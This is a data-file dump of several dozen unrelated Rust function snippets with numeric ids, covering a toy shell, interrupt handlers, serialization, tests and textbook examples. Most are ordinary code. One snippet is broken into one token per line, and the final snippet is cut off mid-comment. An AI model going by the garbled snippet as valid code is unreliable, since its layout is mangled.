content
stringlengths 12
392k
| id
int64 0
1.08k
|
|---|---|
fn main() {
let greeting = "Welcome to RUSH.......";
println!("{}", greeting);
loop {
let input = read_line(build_prompt());
match launch(Rush::from(input.clone())) {
Ok(status) => {
if let Some(code) = status.code() {
env::set_var("STATUS", code.to_string())
}
}
Err(_) => {
env::set_var("STATUS", 127.to_string());
println_err("Command not found".to_owned())
}
}
save_history(input);
}
}
| 200
|
fn test_enc_bin_compat<C, I, O>(comp: C, expected_dec: I, expected_comp: O)
where
C: Fn(I) -> O,
O: std::fmt::Debug + std::cmp::PartialEq,
{
let compressed = comp(expected_dec);
assert_eq!(compressed, expected_comp);
}
| 201
|
pub extern "x86-interrupt" fn overflow() { CommonExceptionHandler( 4); }
| 202
|
fn align_padding(value: usize, alignment: usize) -> usize {
debug_assert!(alignment.is_power_of_two());
let result = (alignment - (value & (alignment - 1))) & (alignment - 1);
debug_assert!(result < alignment);
debug_assert!(result < LARGEST_POWER_OF_TWO);
result
}
| 203
|
fn main() {
env_logger::init().unwrap_or_else(
|err|
panic!("unable to initiate env logger: {}", err)
);
match core::start() {
Ok(()) => info!("game exiting"),
Err(err) => error!("core start error: {}", err),
}
}
| 204
|
pub fn main() {
let _ = env_logger::init();
let Args {port_number, group, num_worker_threads, upstream, downstream}
= parse_args();
let ip_addr = IpAddr::V4(Ipv4Addr::new(0, 0, 0, 0));
let addr = SocketAddr::new(ip_addr, port_number);
let (server_num, group_size) = match group {
Group::Singleton | Group::LockServer => (0, 1),
Group::InGroup(server_num, group_size) => (server_num, group_size),
};
let replicated = upstream.is_some() || downstream.is_some();
let print_start = |addr| match group {
Group::Singleton =>
println!("Starting singleton server at {} with {} worker threads",
addr, num_worker_threads),
Group::LockServer =>
println!("Starting lock server at {} with {} worker threads",
addr, num_worker_threads),
Group::InGroup(..) =>
println!("Starting server {} out of {} at {} with {} worker threads",
server_num, group_size, addr, num_worker_threads),
};
if replicated {
unimplemented!("no tokio replication yet")
} else {
tokio_server::run_unreplicated_server(&addr, server_num, group_size, || print_start(addr))
.expect("cannot run server");
}
// match acceptor {
// Ok(accept) => {
// ;
// if replicated {
// unimplemented!("no tokio replication yet")
// // println!("upstream {:?}, downstream {:?}", upstream, downstream);
// // servers2::tcp::run_with_replication(accept, server_num, group_size,
// // upstream, downstream, num_worker_threads, &a)
// }
// else {
// }
// }
// Err(e) => {
// error!("Could not start server due to {}.", e);
// std::process::exit(1)
// }
// }
/*match (acceptor, group) {
(Ok(accept), Group::Singleton) => {
let addr = accept.local_addr().unwrap();
println!("Starting singleton server at {} with {} worker threads",
addr, num_worker_threads);
servers2::tcp::run(accept, 0, 1, num_worker_threads, &a)
}
(Ok(accept), Group::LockServer) => {
let addr = accept.local_addr().unwrap();
println!("Starting lock server at {} with {} worker threads",
addr, num_worker_threads);
servers2::tcp::run(accept, 0, 1, num_worker_threads, &a)
}
(Ok(accept), Group::InGroup(server_num, group_size)) => {
let addr = accept.local_addr().unwrap();
println!("Starting server {} out of {} at {} with {} worker threads",
server_num, group_size, addr, num_worker_threads);
servers2::tcp::run(accept, server_num, group_size, num_worker_threads, &a)
}
(Err(e), _) => {
error!("Could not start server due to {}.", e);
std::process::exit(1)
}
}*/
}
| 205
|
fn struct_test() {
// 9.1
/// A rectangle of eight-bit grayscale pixels
struct GrayscaleMap {
pixels: Vec<u8>,
size: (usize, usize),
}
let width = 1024;
let height = 576;
// let image = GrayscaleMap {
// pixels: vec![0; width * height],
// size: (width, height),
// };
fn new_map(size: (usize, usize), pixels: Vec<u8>) -> GrayscaleMap {
assert_eq!(pixels.len(), size.0 * size.1);
GrayscaleMap { pixels, size }
}
let image = new_map((width, height), vec![0; width * height]);
assert_eq!(image.size, (1024, 576));
assert_eq!(image.pixels.len(), 1024 * 576);
// pub struct GrayscaleMap {
// pub pixels: Vec<u8>,
// pub size: (usize, usize)
// }
// pub struct GrayscaleMap {
// pixels: Vec<u8>,
// size: (usize, usize)
// }
//
struct Broom {
name: String,
height: u32,
health: u32,
position: (f32, f32, f32),
intent: BroomIntent,
}
/// Two possitble alternatives for what a ~Broom` could be working on.
#[derive(Copy, Clone)]
enum BroomIntent {
FetchWater,
DumpWater,
}
// Receive the input Broom by value, taking ownership.
fn chop(b: Broom) -> (Broom, Broom) {
// Initialize `broom1` mostly from `b`, changing only `height`, Since
// `String` is not `Copy`, `broom1` takes ownership of `b`'s name.
let mut broom1 = Broom {
height: b.height / 2,
..b
};
// Initialize `broom2` mostly from `broom1`. Since `String` is not
// `Copy`, we must clone `name` explicitly.
let mut broom2 = Broom {
name: broom1.name.clone(),
..broom1
};
broom1.name.push_str(" I");
broom2.name.push_str(" II");
(broom1, broom2)
}
let hokey = Broom {
name: "Hokey".to_string(),
height: 60,
health: 100,
position: (100.0, 200.0, 0.0),
intent: BroomIntent::FetchWater,
};
let (hokey1, hokey2) = chop(hokey);
assert_eq!(hokey1.name, "Hokey I");
assert_eq!(hokey1.health, 100);
assert_eq!(hokey2.name, "Hokey II");
assert_eq!(hokey2.health, 100);
// 9.2
struct Bounds(usize, usize);
let image_bounds = Bounds(1024, 768);
assert_eq!(image_bounds.0 * image_bounds.1, 786432);
// pub struct Bounds(pub usize, pub usize);
// 9.3
// struct Onesuch;
// let o = Onesuch;
// 9.4
// 9.5
/// A first-in, first-out queue of characters.
pub struct Queue {
older: Vec<char>, // older elements, eldest last.
younger: Vec<char>, // younger elements, youngest last.
}
impl Queue {
/// Push a character onto the back of a queue.
pub fn push(&mut self, c: char) {
self.younger.push(c);
}
/// Pop a character off the front of a queue. Return `Some(c)` if there
/// was a character to pop, or `None` if the queue was empty.
pub fn pop(&mut self) -> Option<char> {
if self.older.is_empty() {
if self.younger.is_empty() {
return None;
}
// Bring the elements in younger over to older, and put them in
// the promised order.
use std::mem::swap;
swap(&mut self.older, &mut self.younger);
self.older.reverse();
}
// Now older is guaranteed to have something,. Vec's pop method
// already returns an Option, so we're set.
self.older.pop()
}
pub fn is_empty(&self) -> bool {
self.older.is_empty() && self.younger.is_empty()
}
pub fn split(self) -> (Vec<char>, Vec<char>) {
(self.older, self.younger)
}
pub fn new() -> Queue {
Queue {
older: Vec::new(),
younger: Vec::new(),
}
}
}
let mut q = Queue::new();
// let mut q = Queue {
// older: Vec::new(),
// younger: Vec::new(),
// };
q.push('0');
q.push('1');
assert_eq!(q.pop(), Some('0'));
q.push('∞');
assert_eq!(q.pop(), Some('1'));
assert_eq!(q.pop(), Some('∞'));
assert_eq!(q.pop(), None);
assert!(q.is_empty());
q.push('⦿');
assert!(!q.is_empty());
q.pop();
q.push('P');
q.push('D');
assert_eq!(q.pop(), Some('P'));
q.push('X');
let (older, younger) = q.split();
// q is now uninitialized.
assert_eq!(older, vec!['D']);
assert_eq!(younger, vec!['X']);
// 9.6
pub struct QueueT<T> {
older: Vec<T>,
younger: Vec<T>,
}
impl<T> QueueT<T> {
pub fn new() -> Self {
QueueT {
older: Vec::new(),
younger: Vec::new(),
}
}
pub fn push(&mut self, t: T) {
self.younger.push(t);
}
pub fn is_empty(&self) -> bool {
self.older.is_empty() && self.younger.is_empty()
}
}
// let mut qt = QueueT::<char>::new();
let mut qt = QueueT::new();
let mut rt = QueueT::new();
qt.push("CAD"); // apparently a Queue<&'static str>
rt.push(0.74); // apparently a Queue<f64>
qt.push("BTC"); // Bitcoins per USD, 2017-5
rt.push(2737.7); // Rust fails to detect ittational exuberance
// 9.7
struct Extrema<'elt> {
greatest: &'elt i32,
least: &'elt i32,
}
fn find_extrema<'s>(slice: &'s [i32]) -> Extrema<'s> {
let mut greatest = &slice[0];
let mut least = &slice[0];
for i in 1..slice.len() {
if slice[i] < *least {
least = &slice[i];
}
if slice[i] > *greatest {
greatest = &slice[i];
}
}
Extrema { greatest, least }
}
let a = [0, -3, 0, 15, 48];
let e = find_extrema(&a);
assert_eq!(*e.least, -3);
assert_eq!(*e.greatest, 48);
// 9.8
// #[derive(Copy, Clone, Debug, PartialEq)]
// struct Point {
// x: f64,
// y: f64,
// }
// 9.9
// pub struct SpiderRobot {
// species: String,
// web_enabled: bool,
// log_device: [fd::FileDesc; 8],
// ...
// }
// use std::rc::Rc;
// pub struct SpiderSenses {
// robot: Rc<SpiderRobot>, /// <-- pointer to settings and I/O
// eyes: [Camera; 32],
// motion: Accelerometer,
// ...
// }
use std::cell::Cell;
use std::cell::RefCell;
use std::fs::File;
pub struct SpiderRobot {
hardware_error_count: Cell<u32>,
log_file: RefCell<File>,
}
impl SpiderRobot {
/// Increase the error count by 1.
pub fn add_hardware_error(&self) {
let n = self.hardware_error_count.get();
self.hardware_error_count.set(n + 1);
}
/// True if any hardware errors have been reported.
pub fn has_hardware_errors(&self) -> bool {
self.hardware_error_count.get() > 0
}
/// Write a line to the log file.
pub fn log(&self, message: &str) {
let mut file = self.log_file.borrow_mut();
// writeln!(file, "{}", message).unwrap();
}
}
let ref_cell: RefCell<String> = RefCell::new("hello".to_string());
let r = ref_cell.borrow(); // ok, return a Ref<String>
let count = r.len(); // ok, returns "hello".len()
assert_eq!(count, 5);
// let mut w = ref_cell.borrow_mut(); // panic: already borrowed
// w.push_str(" world");
}
| 206
|
fn main() {
bench(part_1);
bench(part_2);
}
| 207
|
pub fn make_buffer_copy<T: Copy> (len: usize, init: T) -> Box<[T]> {
make_buffer_with(len, move || init)
}
| 208
|
pub fn fill_buffer_copy<T: Copy> (b: &mut [T], v: T) {
fill_buffer_with(b, move || v)
}
| 209
|
pub fn causet_partitioner_request_free(request: Box<CausetPartitionerRequest>) {
}
| 210
|
fn remove_whitespace(s: &str) -> String {
s.chars().filter(|c| !c.is_whitespace()).collect()
}
| 211
|
fn
checked_memory_handle
(
)
-
>
Result
<
Connection
>
{
let
db
=
Connection
:
:
open_in_memory
(
)
?
;
db
.
execute_batch
(
"
CREATE
TABLE
foo
(
b
BLOB
t
TEXT
i
INTEGER
f
FLOAT
n
)
"
)
?
;
Ok
(
db
)
}
| 212
|
fn test_rtree_insert() -> Result<(), ShapelikeError> {
let mut tree = RTree::new(2);
// insert 50 random positions
let mut rng = rand::thread_rng();
for _ in 0..50 {
let xmin = rng.gen_range(0.0..=100.0);
let ymin = rng.gen_range(0.0..=100.0);
let height = rng.gen_range(5.0..=10.0);
let width = rng.gen_range(5.0..=10.0);
let r = ((xmin, ymin), (xmin + width, ymin + height)).into_region();
tree.insert(r, 11)?;
}
tree.validate_consistency();
dbg!(&tree);
Ok(())
}
| 213
|
pub fn get_driver(url: &str) -> MigrateResult<Box<Driver>> {
// Mysql driver does not allow to connect using a url so we need to parse it
let mut parser = UrlParser::new();
parser.scheme_type_mapper(db_scheme_type_mapper);
let parsed = parser.parse(url).unwrap();
match parsed.scheme.as_ref() {
"postgres" => postgres::Postgres::new(url).map(|d| Box::new(d) as Box<Driver>),
"mysql" => mysql::Mysql::new(parsed).map(|d| Box::new(d) as Box<Driver>),
_ => Err(invalid_url(url))
}
}
| 214
|
pub fn write_sint_eff<W>(wr: &mut W, val: i64) -> Result<Marker, ValueWriteError>
where W: Write
{
match val {
val if -32 <= val && val < 0 => {
let marker = Marker::FixNeg(val as i8);
try!(write_fixval(wr, marker));
Ok(marker)
}
val if -128 <= val && val < -32 => {
write_i8(wr, val as i8).and(Ok(Marker::I8))
}
val if -32768 <= val && val < -128 => {
write_i16(wr, val as i16).and(Ok(Marker::I16))
}
val if -2147483648 <= val && val < -32768 => {
write_i32(wr, val as i32).and(Ok(Marker::I32))
}
val if val < -2147483648 => {
write_i64(wr, val).and(Ok(Marker::I64))
}
val if 0 <= val && val < 128 => {
let marker = Marker::FixPos(val as u8);
try!(write_fixval(wr, marker));
Ok(marker)
}
val if val < 256 => {
write_u8(wr, val as u8).and(Ok(Marker::U8))
}
val if val < 65536 => {
write_u16(wr, val as u16).and(Ok(Marker::U16))
}
val if val < 4294967296 => {
write_u32(wr, val as u32).and(Ok(Marker::U32))
}
val => {
write_i64(wr, val).and(Ok(Marker::I64))
}
}
}
| 215
|
fn figure5() {
let lock = Arc::new(Mutex::new(0usize));
let lock_clone = Arc::clone(&lock);
thread::spawn(move || {
for _ in 0..TEST_LENGTH {
thread::sleep(Duration::from_millis(1));
}
*lock_clone.lock().unwrap() = 1;
});
let l = lock.lock().unwrap();
assert_ne!(*l, 1, "thread 1 ran to completion");
}
| 216
|
fn inc_16() {
run_test(&Instruction { mnemonic: Mnemonic::INC, operand1: Some(IndirectDisplaced(EDI, 843417212, Some(OperandSize::Word), None)), operand2: None, operand3: None, operand4: None, lock: false, rounding_mode: None, merge_mode: None, sae: false, mask: None, broadcast: None }, &[102, 255, 135, 124, 134, 69, 50], OperandSize::Dword)
}
| 217
|
pub fn channel_put_cap(target: CAddr, value: CAddr) {
system_call(SystemCall::ChannelPut {
request: (target, ChannelMessage::Cap(Some(value)))
});
}
| 218
|
pub fn test_op_rvc_srli_crash_32() {
let buffer = fs::read("tests/programs/op_rvc_srli_crash_32")
.unwrap()
.into();
let result = run::<u32, SparseMemory<u32>>(&buffer, &vec!["op_rvc_srli_crash_32".into()]);
assert_eq!(result.err(), Some(Error::MemWriteOnExecutablePage));
}
| 219
|
fn test_with_duplicated() {
let parsed_data = parse(&"$a_var: 14\n$a_var: 15");
assert!(parsed_data
.unwrap_err()
.downcast_ref::<DuplicatedVariableError>()
.is_some());
}
| 220
|
pub fn test_contains_ckbforks_section() {
let buffer = fs::read("tests/programs/ckbforks").unwrap();
let ckbforks_exists_v0 = || -> bool {
let elf = goblin_v023::elf::Elf::parse(&buffer).unwrap();
for section_header in &elf.section_headers {
if let Some(Ok(r)) = elf.shdr_strtab.get(section_header.sh_name) {
if r == ".ckb.forks" {
return true;
}
}
}
return false;
}();
let ckbforks_exists_v1 = || -> bool {
let elf = goblin_v040::elf::Elf::parse(&buffer).unwrap();
for section_header in &elf.section_headers {
if let Some(Ok(r)) = elf.shdr_strtab.get(section_header.sh_name) {
if r == ".ckb.forks" {
return true;
}
}
}
return false;
}();
assert_eq!(ckbforks_exists_v0, true);
assert_eq!(ckbforks_exists_v1, true);
}
| 221
|
fn calculate_data_hash(data: &[u8]) -> u64 {
let mut hasher = FxHasher::default();
data.hash(&mut hasher);
hasher.finish()
}
| 222
|
fn read_certs(path: &str) -> Result<Vec<rustls::Certificate>, String> {
let data = match fs::File::open(path) {
Ok(v) => v,
Err(err) => return Err(err.to_string()),
};
let mut reader = io::BufReader::new(data);
match rustls::internal::pemfile::certs(&mut reader) {
Err(_) => Err("failed to read out cert".to_string()),
Ok(certs) => match certs.len() {
0 => return Err("no cert".to_string()),
_ => Ok(certs),
},
}
}
| 223
|
fn a_table_should_read_what_was_put() {
let mut table = HashMapOfTreeMap::new();
table.write(0, &[Row { k: 0, v: 1 }]);
let mut vs = [Value::default(); 1];
table.read (1, &[0], &mut vs);
assert_eq!(vs, [Value { v: 1, t: 1 }]);
}
| 224
|
pub extern "x86-interrupt" fn common_interrupt() { CommonInterruptHandler(48); }
| 225
|
pub fn csv(year:i32) -> Result<String> {
let luigi = try!(setup_luigi());
let mut projects = try!(luigi.open_projects(StorageDir::Year(year)));
projects.sort_by(|pa,pb| pa.index().unwrap_or_else(||"zzzz".to_owned()).cmp( &pb.index().unwrap_or("zzzz".to_owned())));
projects_to_csv(&projects)
}
| 226
|
fn roll_with_advantage(die: i32) -> (i32, i32) {
let mut rng = rand::thread_rng();
let roll1 = rng.gen_range(1, die);
let roll2 = rng.gen_range(1, die);
return if roll1 > roll2 { (roll1, roll2) } else { (roll2, roll1) }
}
| 227
|
pub extern "x86-interrupt" fn hdd2() { CommonInterruptHandler(47); }
| 228
|
fn test_instruction_data_0xabcdef() {
use crate::Instruction;
use wormcode_bits::Encode;
let expected = B::<28>::from(0xabcdef);
let inst = Instruction::Data(B::<24>::from(0xabcdef));
let enc = Intermediate::from(inst);
let b28: B<28> = enc.encode();
assert_eq!(expected, b28);
}
| 229
|
fn symlink_dir_force(config: &Config, src: &Path, dst: &Path) -> io::Result<()> {
if config.dry_run {
return Ok(());
}
if let Ok(m) = fs::symlink_metadata(dst) {
if m.file_type().is_dir() {
fs::remove_dir_all(dst)?;
} else {
// handle directory junctions on windows by falling back to
// `remove_dir`.
fs::remove_file(dst).or_else(|_| {
fs::remove_dir(dst)
})?;
}
}
symlink_dir(config, src, dst)
}
| 230
|
pub fn inherent_impls(tcx: TyCtxt<'_>, ty_def_id: LocalDefId) -> &[DefId] {
let crate_map = tcx.crate_inherent_impls(());
match crate_map.inherent_impls.get(&ty_def_id) {
Some(v) => &v[..],
None => &[],
}
}
| 231
|
fn build_response(
header: Header,
conn: ConnectionRef,
recv: FrameStream,
stream_id: StreamId,
) -> Result<Response<RecvBody>, Error> {
let (status, headers) = header.into_response_parts()?;
let mut response = Response::builder()
.status(status)
.version(http::version::Version::HTTP_3)
.body(RecvBody::new(recv, conn, stream_id, true))
.unwrap();
*response.headers_mut() = headers;
Ok(response)
}
| 232
|
fn show_image(image: &Image)
{
let sdl = sdl2::init().unwrap();
let video_subsystem = sdl.video().unwrap();
let display_mode = video_subsystem.current_display_mode(0).unwrap();
let w = match display_mode.w as u32 > image.width {
true => image.width,
false => display_mode.w as u32
};
let h = match display_mode.h as u32 > image.height {
true => image.height,
false => display_mode.h as u32
};
let window = video_subsystem
.window("Image", w, h)
.build()
.unwrap();
let mut canvas = window
.into_canvas()
.present_vsync()
.build()
.unwrap();
let black = sdl2::pixels::Color::RGB(0, 0, 0);
let mut event_pump = sdl.event_pump().unwrap();
// render image
canvas.set_draw_color(black);
canvas.clear();
for r in 0..image.height {
for c in 0..image.width {
let pixel = &image.pixels[image.height as usize - r as usize - 1][c as usize];
canvas.set_draw_color(Color::RGB(pixel.R as u8, pixel.G as u8, pixel.B as u8));
canvas.fill_rect(Rect::new(c as i32, r as i32, 1, 1)).unwrap();
}
}
canvas.present();
'main: loop
{
for event in event_pump.poll_iter() {
match event {
sdl2::event::Event::Quit {..} => break 'main,
_ => {},
}
}
sleep(Duration::new(0, 250000000));
}
}
| 233
|
pub fn module<'a>(context: &'a Context) -> Option<Module<'a>> {
const SUCCESS_CHAR: &str = "➜";
const FAILURE_CHAR: &str = "✖";
let color_success = Color::Green.bold();
let color_failure = Color::Red.bold();
let mut module = context.new_module("character")?;
module.get_prefix().set_value("");
let arguments = &context.arguments;
let use_symbol = module
.config_value_bool("use_symbol_for_status")
.unwrap_or(false);
let exit_success = arguments.value_of("status_code").unwrap_or("0") == "0";
/* If an error symbol is set in the config, use symbols to indicate
success/failure, in addition to color */
let symbol = if use_symbol && !exit_success {
module.new_segment("error_symbol", FAILURE_CHAR)
} else {
module.new_segment("symbol", SUCCESS_CHAR)
};
if exit_success {
symbol.set_style(color_success.bold());
} else {
symbol.set_style(color_failure.bold());
};
Some(module)
}
| 234
|
fn handle_trame(trame: Trame) -> Option<Trame> {
match (
trame.id,
trame.cmd,
&trame.data[0..trame.data_length as usize],
) {
(0...5, 0x0, [0x55]) => Some(trame!(trame.id, 0x00, [0xAA])),
(_, _, _) => None,
}
}
| 235
|
pub fn archive_projects(search_terms:&[&str], manual_year:Option<i32>, force:bool) -> Result<Vec<PathBuf>>{
trace!("archive_projects matching ({:?},{:?},{:?})", search_terms, manual_year,force);
let luigi = try!(setup_luigi_with_git());
Ok(try!( luigi.archive_projects_if(search_terms, manual_year, || force) ))
}
| 236
|
fn parse_descriptor_proto() -> ::protobuf::descriptor::FileDescriptorProto {
::protobuf::parse_from_bytes(file_descriptor_proto_data).unwrap()
}
| 237
|
fn launch(command: Rush) -> Result<ExitStatus, Error> {
match command {
Rush::Bin(cmd, args) => {
builtins()
.get(&cmd)
.map_or_else(|| execute(cmd, args.clone()),
|builtin| builtin(args.clone()))
}
Rush::Empty => Ok(ExitStatus::from_raw(0)),
Rush::Piped(mut commands) => {
let last = commands.pop();
let x = commands
.iter()
.fold(None, |r: Option<Child>, c| {
let stdin = r.map(|c| Stdio::from(c.stdout.unwrap()))
.unwrap_or(Stdio::inherit());
spawn_c(c, stdin, Stdio::piped())
})
.unwrap();
spawn_c(&last.unwrap(), Stdio::from(x.stdout.unwrap()), Stdio::inherit())
.unwrap()
.wait()
}
}
}
| 238
|
pub fn task_set_top_page_table(target: CAddr, table: CAddr) {
system_call(SystemCall::TaskSetTopPageTable {
request: (target, table),
});
}
| 239
|
fn console_input() -> String {
println!("Enter the name of the file to run: ");
let mut buf = String::new();
std::io::stdin().read_line(&mut buf).unwrap();
buf
}
| 240
|
fn map_ignored(_: IRCToken) -> Result<IRCToken, ~str> {
Ok(Ignored)
}
| 241
|
fn inc_22() {
run_test(&Instruction { mnemonic: Mnemonic::INC, operand1: Some(IndirectScaledIndexedDisplaced(EBX, EAX, Two, 1432633342, Some(OperandSize::Dword), None)), operand2: None, operand3: None, operand4: None, lock: false, rounding_mode: None, merge_mode: None, sae: false, mask: None, broadcast: None }, &[255, 132, 67, 254, 63, 100, 85], OperandSize::Dword)
}
| 242
|
pub extern "x86-interrupt" fn divided_by_zero() { CommonExceptionHandler( 0); }
| 243
|
fn overflow() {
let big_val = std::i32::MAX;
// let x = big_val + 1; // panic
let _x = big_val.wrapping_add(1); // ok
}
| 244
|
fn disable_metrics() {
std::env::set_var("DISABLE_INTERNAL_METRICS_CORE", "true");
}
| 245
|
pub fn encode_buffer<W>(
input: &[u8],
col: u8,
line_length: u8,
writer: W,
) -> Result<u8, EncodeError>
where
W: Write,
{
let mut col = col;
let mut writer = writer;
let mut v = Vec::<u8>::with_capacity(((input.len() as f64) * 1.04) as usize);
input.iter().for_each(|&b| {
let encoded = encode_byte(b);
v.push(encoded.0);
col += match encoded.0 {
ESCAPE => {
v.push(encoded.1);
2
}
DOT if col == 0 => {
v.push(DOT);
2
}
_ => 1,
};
if col >= line_length {
v.push(CR);
v.push(LF);
col = 0;
}
});
writer.write_all(&v)?;
Ok(col)
}
| 246
|
pub fn mov_op(inputs: OpInputs) -> EmulatorResult<()> {
let next_pc = offset(inputs.regs.current.idx, 1, inputs.core_size)?;
inputs.pq.push_back(next_pc, inputs.warrior_id)?;
match inputs.regs.current.instr.modifier {
Modifier::A => {
// A MOV.A instruction would replace the A-number of the
// instruction pointed to by the B-pointer with the A-number of the
// A-instruction.
let a_value = inputs.regs.a.a_field;
let b_pointer = inputs.regs.b.idx;
inputs.core_get_mut(b_pointer)?.a_field = a_value;
}
Modifier::B => {
// A MOV.B instruction would replace the B-number of the
// instruction pointed to by the B-pointer with the B-number of the
// A-instruction.
let a_value = inputs.regs.a.b_field;
let b_pointer = inputs.regs.b.idx;
inputs.core_get_mut(b_pointer)?.b_field = a_value;
}
Modifier::AB => {
// A MOV.AB instruction would replace the B-number of the
// instruction pointed to by the B-pointer with the A-number of the
// A-instruction.
let a_value = inputs.regs.a.a_field;
let b_pointer = inputs.regs.b.idx;
inputs.core_get_mut(b_pointer)?.b_field = a_value;
}
Modifier::BA => {
// A MOV.BA instruction would replace the A-number of the
// instruction pointed to by the B-pointer with the B-number of the
// A-instruction.
let a_value = inputs.regs.a.b_field;
let b_pointer = inputs.regs.b.idx;
inputs.core_get_mut(b_pointer)?.a_field = a_value;
}
Modifier::F => {
// A MOV.F instruction would replace the A-number of the
// instruction pointed to by the B-pointer with the A-number of the
// A-instruction and would also replace the B-number of the
// instruction pointed to by the B-pointer with the B-number of the
// A-instruction.
let a_value_a = inputs.regs.a.a_field;
let b_value_b = inputs.regs.b.b_field;
let b_pointer = inputs.regs.b.idx;
let target = inputs.core_get_mut(b_pointer)?;
target.a_field = a_value_a;
target.b_field = b_value_b;
}
Modifier::X => {
// A MOV.F instruction would replace the A-number of the
// instruction pointed to by the B-pointer with the A-number of the
// A-instruction and would also replace the B-number of the
// instruction pointed to by the B-pointer with the B-number of the
// A-instruction.
let a_value_b = inputs.regs.a.b_field;
let b_value_a = inputs.regs.b.a_field;
let b_pointer = inputs.regs.b.idx;
let target = inputs.core_get_mut(b_pointer)?;
target.a_field = a_value_b;
target.b_field = b_value_a;
}
Modifier::I => {
// A MOV.I instruction would replace the instruction pointed to by
// the B-pointer with the A-instruction.
let a_value_a = inputs.regs.a.a_field;
let a_value_b = inputs.regs.a.b_field;
let a_value_instr = inputs.regs.a.instr;
let b_pointer = inputs.regs.b.idx;
let target = inputs.core_get_mut(b_pointer)?;
target.instr = a_value_instr;
target.a_field = a_value_a;
target.b_field = a_value_b;
}
};
Ok(())
}
| 247
|
pub fn parse_grid(s: String) -> SudokuGrid
{
let boxes = grid_9x9_keys();
let values = s.chars().map(|c| match c {
'.' => None,
c => c.to_digit(10).map(|d| d as usize),
});
SudokuGrid::from_iter(boxes.zip(values))
}
| 248
|
fn main() {
env::set_var("RUST_BACKTRACE", "1");
let mut rl = Editor::<()>::new();
loop {
let line = rl.readline("$ ");
match line {
Ok(line) => {
let cmd = match Command::parse(&line) {
Some(cmd) => cmd,
None => continue,
};
execute(cmd);
}
Err(ReadlineError::Interrupted) => break,
Err(ReadlineError::Eof) => break,
Err(err) => {
println!("error: {:?}", err);
break;
}
}
}
}
| 249
|
pub fn debug_format(input: String) -> String {
if input.len() <= 20 {
return input;
}
input
.chars()
.take(8)
.chain("...".chars())
.chain(input.chars().skip(input.len() - 8))
.collect()
}
| 250
|
fn rc_test() {
use std::rc::Rc;
let s: Rc<String> = Rc::new("shirataki".to_string());
let t: Rc<String> = s.clone();
let u: Rc<String> = s.clone();
assert!(s.contains("shira"));
assert_eq!(t.find("taki"), Some(5));
println!("{} are quite chewy, almost bouncy, but lack flavor", u);
// s.push_str(" noodles"); // error
}
| 251
|
fn main() {
let re_top = Regex::new(r" {4}|\[([A-Z])\]").unwrap();
let re_action = Regex::new(r"move (\d+) from (\d+) to (\d+)").unwrap();
let mut stacks: Vec<Vec<char>> = Vec::new();
let mut input = io::stdin().lock().lines()
.flat_map(|l| l.ok());
for line in &mut input {
if line.trim().is_empty() { break }
for (ix, ch) in match_iter::<char>(&re_top, &line).enumerate() {
if let Some(ch) = ch {
ensure_size(&mut stacks, ix + 1);
stacks[ix].push(ch);
}
}
}
for stack in &mut stacks {
stack.reverse()
}
for line in input {
if let Some((num, src, dst)) = match_capture::<Action>(&re_action, &line) {
let (src, dst) = get_disjoint(&mut stacks, src - 1, dst - 1);
assert!(num <= src.len(), "Trying to pop {} from {}", num, src.len());
let pos = src.len() - num;
dst.extend_from_slice(&src[pos..]);
src.truncate(pos);
}
}
let letters = stacks.iter().map(|s| s.last().expect("Stack is empty"));
println!("{}", letters.collect::<String>());
}
| 252
|
fn debug_check_layout(layout: Layout) {
debug_assert!(layout.size() <= LARGEST_POWER_OF_TWO);
debug_assert!(layout.size() > 0);
}
| 253
|
pub fn write_u32<W>(wr: &mut W, val: u32) -> Result<(), ValueWriteError>
where W: Write
{
try!(write_marker(wr, Marker::U32));
write_data_u32(wr, val)
}
| 254
|
async fn initialization() -> Result<()> {
fixtures::init_tracing();
// Setup test dependencies.
let config = Arc::new(Config::build("test".into()).validate().expect("failed to build Raft config"));
let router = Arc::new(RaftRouter::new(config.clone()));
router.new_raft_node(0).await;
router.new_raft_node(1).await;
router.new_raft_node(2).await;
// Assert all nodes are in non-voter state & have no entries.
sleep(Duration::from_secs(10)).await;
router.assert_pristine_cluster().await;
// Initialize the cluster, then assert that a stable cluster was formed & held.
tracing::info!("--- initializing cluster");
router.initialize_from_single_node(0).await?;
sleep(Duration::from_secs(10)).await;
router.assert_stable_cluster(Some(1), Some(1)).await;
tracing::info!("--- performing node shutdowns");
let (node0, _) = router.remove_node(0).await.ok_or_else(|| anyhow!("failed to find node 0 in router"))?;
node0.shutdown().await?;
let (node1, _) = router.remove_node(1).await.ok_or_else(|| anyhow!("failed to find node 1 in router"))?;
node1.shutdown().await?;
let (node2, _) = router.remove_node(2).await.ok_or_else(|| anyhow!("failed to find node 2 in router"))?;
node2.shutdown().await?;
Ok(())
}
| 255
|
fn main() {
// let name = String::from("rust");
let mut client = Client::new();
// now loop forever getting tasks every now and then
let duration = (&client.interval * 1000.0) as u64;
let sleep_duration = time::Duration::from_millis(duration);
let (channel_out, channel_in) = unbounded();
// sleep for duration given by server, every interval wake up and ask for new tasks
loop {
thread::sleep(sleep_duration);
// get new tasks from the server
// need to return success/failure so we know if we should send something into the thread or not
client.get_task();
// fuck me
let mut c = client.clone();
let out_c = channel_out.clone();
// spawn a thread to deal with the new tasks
let thread_hndl = thread::spawn(move || {
handle_task(&mut c, out_c);
});
if let Ok(resp_from_thread) = channel_in.try_recv() {
println!("yayyy from main {}", &resp_from_thread);
// need to send resp to server, and remvoe task from the queue
let resp_task_id = resp_from_thread.parse::<i32>().unwrap();
client.task_queue.retain(|x| x.task_id != resp_task_id);
}
}
}
| 256
|
pub fn parse_from_file(path: &str, strict: bool) -> Result<Cue, CueError> {
let file = File::open(path)?;
let mut buf_reader = BufReader::new(file);
parse(&mut buf_reader, strict)
}
| 257
|
fn main() {
std::process::Command::new("packfolder.exe").args(&["src/frontend", "dupa.rc", "-binary"])
.output().expect("no i ciul");
}
| 258
|
async fn client<R: tokio::io::AsyncRead + std::marker::Unpin>(url: &str, input_read: R) -> Result<!, String> {
let (read, write) = TcpStream::connect(url).await.map_err(|e| e.to_string())?
.into_split();
let read_comp = TcpOp::<ResponseLatRepr>::new(read)
.comp_null();
// .comp_debug("read");
let write_comp = ReadOp::new(input_read)
.morphism(ParseKvsOperation)
.debottom()
.comp_tcp::<RequestLatRepr>(write);
#[allow(unreachable_code)]
let result = tokio::try_join!(
async {
read_comp.run().await.map_err(|_| format!("Read failed."))
},
async {
let err = write_comp.run().await.map_err(|e| e.to_string());
tokio::time::sleep(std::time::Duration::from_secs(5)).await;
err
},
);
result?;
unreachable!();
// Err(format!("Read error: {:?}, Write error: {:?}",
